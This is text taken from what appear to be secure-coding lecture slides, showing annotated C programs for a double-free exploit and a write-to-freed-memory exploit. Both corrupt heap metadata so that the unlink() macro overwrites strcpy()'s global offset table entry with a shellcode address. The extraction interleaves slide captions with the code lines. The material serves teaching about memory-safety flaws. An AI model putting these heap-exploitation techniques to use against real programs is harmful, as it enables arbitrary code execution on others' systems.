 9. void *first, *second, *third, *fourth;
 10. void *fifth, *sixth, *seventh;
 11. shellcode_location = (void *)malloc(size); when the chunk is allocated,
 12. strcpy(shellcode_location, shellcode); the unlink() macro has the


13.
14.
first = (void *)malloc(256);
second = (void *)malloc(256);
effect of copying the address
 15. third = (void *)malloc(256); of the shellcode into the
 16. fourth = (void *)malloc(256); address of the strcpy()


17. free(first); function in the global offset
18. free(third);
 19. fifth = (void *)malloc(128); table
 20. free(first);
 21. sixth = (void *)malloc(256);
 22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);
 23. *((void **)(sixth+4))=(void *)shellcode_location;
 24. seventh = (void *)malloc(256);
 25. strcpy(fifth, "something");
 26. return 0;
 27. }
Double-free Exploit Code - 9
 1. static char *GOT_LOCATION = (char *)0x0804c98c;
 2. static char shellcode[] =
 3. "\xeb\x0cjump12chars_"
 4. "\x90\x90\x90\x90\x90\x90\x90\x90"
 5.
 6. int main(void){
 7. int size = sizeof(shellcode);
 8. void *shellcode_location;
 9. void *first, *second, *third, *fourth;
 10. void *fifth, *sixth, *seventh;
 11. shellcode_location = (void *)malloc(size);
 12. strcpy(shellcode_location, shellcode);
 13. first = (void *)malloc(256);
 14. second = (void *)malloc(256); When strcpy() is called control is


15. third = (void *)malloc(256); transferred to the shell code.
16. fourth = (void *)malloc(256);
 17. free(first);
 18. free(third);
 19. fifth = (void *)malloc(128);
 20. free(first);
 21. sixth = (void *)malloc(256);

The shellcode jumps
22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);
 23. *((void **)(sixth+4))=(void *)shellcode_location; over the first 12 bytes
 24. seventh = (void *)malloc(256); because some of this
 25. strcpy(fifth, "something");

memory is overwritten
26. return 0;
 27. } by unlink
Writing to Freed Memory –
Example Program
 1. static char *GOT_LOCATION = (char *)0x0804c98c;
 2. static char shellcode[] =
 3. "\xeb\x0cjump12chars_"
 4. "\x90\x90\x90\x90\x90\x90\x90\x90"

 5. int main(void){
 6. int size = sizeof(shellcode);
 7. void *shellcode_location;
 8. void *first,*second,*third,*fourth,*fifth,*sixth;
 9. shellcode_location = (void *)malloc(size);
 10. strcpy(shellcode_location, shellcode);
 11. first = (void *)malloc(256);
 12. second = (void *)malloc(256);
 13. third = (void *)malloc(256); write to the first chunk on lines 18-


14.
15.
fourth = (void *)malloc(256);
free(first);
19 after it has been freed on line 15.
 16. free(third);
 17. fifth = (void *)malloc(128);
 18. *((void **)(first+0)) = (void *)(GOT_LOCATION-12);
 19. *((void **)(first+4)) = (void *)shellcode_location;
 20. sixth = (void *)malloc(256);
 21. strcpy(fifth, "something");
 22. return 0;
 23. }
Writing to Freed Memory
 The setup is exactly the same as the double-
free exploit.

 The call to malloc() replaces the address of


strcpy() with the address of the shellcode
and the call to strcpy() invokes the
shellcode.

You might also like